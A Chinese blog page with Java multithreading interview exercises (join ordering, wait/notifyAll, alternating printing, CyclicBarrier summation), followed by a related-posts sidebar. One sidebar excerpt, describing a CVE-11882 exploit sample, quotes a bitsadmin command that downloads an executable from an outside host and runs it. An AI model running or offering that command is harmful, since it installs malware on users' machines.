文档章节

Java多线程面试题

秋风醉了
 秋风醉了
发布于 04/18 17:54
字数 520
阅读 18
收藏 0

Java多线程面试题

1.多线程顺序执行 使用join协调线程执行顺序

/**
 * 顺序打印 A B C 使用 join 来协调执行顺序
 */
public class ThreadTest {

    public static void main(String[] args) throws InterruptedException {
        Thread A = new Thread(new MyThread("A"));
        Thread B = new Thread(new MyThread("B"));
        Thread C = new Thread(new MyThread("C"));

        A.start();
        A.join();
        B.start();
        B.join();
        C.start();
        C.join();
    }
}

class MyThread implements Runnable {

    private String name;

    public MyThread(String name) {
        this.name = name;
    }

    @Override
    public void run() {
        System.out.println(name);
    }
}

2.多线程顺序执行 使用 wait & notifyAll

public class ThreadTest2 {

    static volatile int state = 0;

    static final Object lock = new Object();

    public static void main(String[] args) {

        new Thread(new Runnable() {
            @Override
            public void run() {
                synchronized (lock) {
                    while (true) {
                        if (state != 2) {
                            try {
                                lock.wait();
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
                        }
                        if (state == 2) {
                            System.out.println("C");
                            state++;
                            lock.notifyAll();
                            break;
                        }
                    }

                }
            }
        }).start();

        new Thread(new Runnable() {
            @Override
            public void run() {
                synchronized (lock) {
                    while (true) {
                        if (state != 1) {
                            try {
                                lock.wait();
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
                        }
                        if (state == 1) {
                            System.out.println("B");
                            state++;
                            lock.notifyAll();
                            break;
                        }
                    }

                }
            }
        }).start();

        new Thread(new Runnable() {
            @Override
            public void run() {
                if (state == 0) {
                    synchronized (lock) {
                        System.out.println("A");
                        state++;
                        lock.notifyAll();
                    }
                }
            }
        }).start();

    }
}

3.两个线程交替打印 1-99

/**
 * 两个线程 交替打印字符串
 */
public class ThreadTest4 {

    static final Object lock = new Object();
    static int num1 = 0;
    static int num2 = 1;
    static int end = 100;
    volatile static int state = 0;

    public static void main(String[] args) {

        Thread a = new Thread() {
            public void run() {
                synchronized (lock) {
                    while (true) {
                        if (state == 1) {
                            try {
                                lock.wait();
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
                        }
                        state = 1;
                        if (num1 >= end) {
                            break;
                        }
                        System.out.println(num1);
                        num1 += 2;
                        lock.notify();
                    }
                }

            }
        };


        Thread b = new Thread() {
            public void run() {
                synchronized (lock) {
                    while (true) {
                        if (state == 0) {
                            try {
                                lock.wait();
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
                        }
                        state = 0;
                        if (num2 >= end) {
                            break;
                        }
                        System.out.println(num2);
                        num2 += 2;
                        lock.notify();
                    }
                }

            }
        };
        b.start();
        a.start();
    }
}

4.多线程求和 1+2+3+...+99

package com.rocketmq.thread;

import java.util.concurrent.BrokenBarrierException;
import java.util.concurrent.CyclicBarrier;

public class ThreadSum extends Thread {

    static int totalCount;

    private int start;
    private int end;
    private CyclicBarrier barrier;

    public ThreadSum(int start, int end, CyclicBarrier barrier) {
        this.start = start;
        this.end = end;
        this.barrier = barrier;
    }

    @Override
    public void run() {
        int count = 0;
        for (int i = start; i < end + 1; i++) {
            count += i;
        }

        //需要获取锁对 totalCount 累加
        synchronized (ThreadSum.class) {
            totalCount += count;
        }

        try {
            // 进入到同步屏障阻塞等待所有线程进入同步屏障然后返回
            barrier.await();
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (BrokenBarrierException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        int max = 20000; //对从1到20,000求和
        int nThreads = 10;
        CyclicBarrier barrier = new CyclicBarrier(nThreads, new Runnable() {
            @Override
            public void run() {
                System.out.println(ThreadSum.totalCount);
            }
        });

        for (int i = 0; i < nThreads; i++) {
            int fromInt = max * i / nThreads + 1; //边界条件
            int toInt = max * (i + 1) / nThreads; //边界条件
            new ThreadSum(fromInt, toInt, barrier).start();
        }

    }
}

=========END=========

© 著作权归作者所有

共有 人打赏支持
秋风醉了
粉丝 232
博文 574
码字总数 405033
作品 0
朝阳
程序员
【转】15个顶级Java多线程面试题及回答

Java 线程面试问题   在任何Java面试当中多线程和并发方面的问题都是必不可少的一部分。如果你想获得任何股票投资银行的前台资讯职位,那么你应该准备很多关于多线程的问题。在投资银行业务...

一只死笨死笨的猪
2014/09/30
0
0
15个顶级Java多线程面试题及回答

Java 线程面试问题 在任何Java面试当中多线程和并发方面的问题都是必不可少的一部分。如果你想获得任何股票投资银行的前台资讯职位,那么你应该准备很多关于多线程的问题。在投资银行业务中多...

LCZ777
2014/05/27
0
0
jstack命令:教你如何排查多线程问题

这是之前的一个死锁案例: 一个多线程死锁案例,如何避免及解决死锁问题? 如程序中发生这样的死锁问题该如何排查呢?我们可以使用java自带的jstack命令进行排查。 1、先在服务器运行上面的死...

java技术栈
2017/11/14
0
0
Java面试需要准备哪些多线程并发的技术要点

一、概念 什么是线程 一个线程要执行任务,必须得有线程 一个进程(程序)的所有任务都在线程中执行的 一个线程执行任务是串行的,也就是说一个线程,同一时间内,只能执行一个任务 多线程原理 同一...

码蚁说架构
05/31
0
0
【转】Java线程面试题Top50

目录(?)[-] 50道Java线程面试题 1 什么是线程 2 线程和进程有什么区别 3 如何在Java中实现线程 4 用Runnable还是Thread 6 Thread 类中的start 和 run 方法有什么区别 7 Java中Runnable和Cal...

gehui
2015/08/14
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
8分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
21分钟前
0
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
23分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
34分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部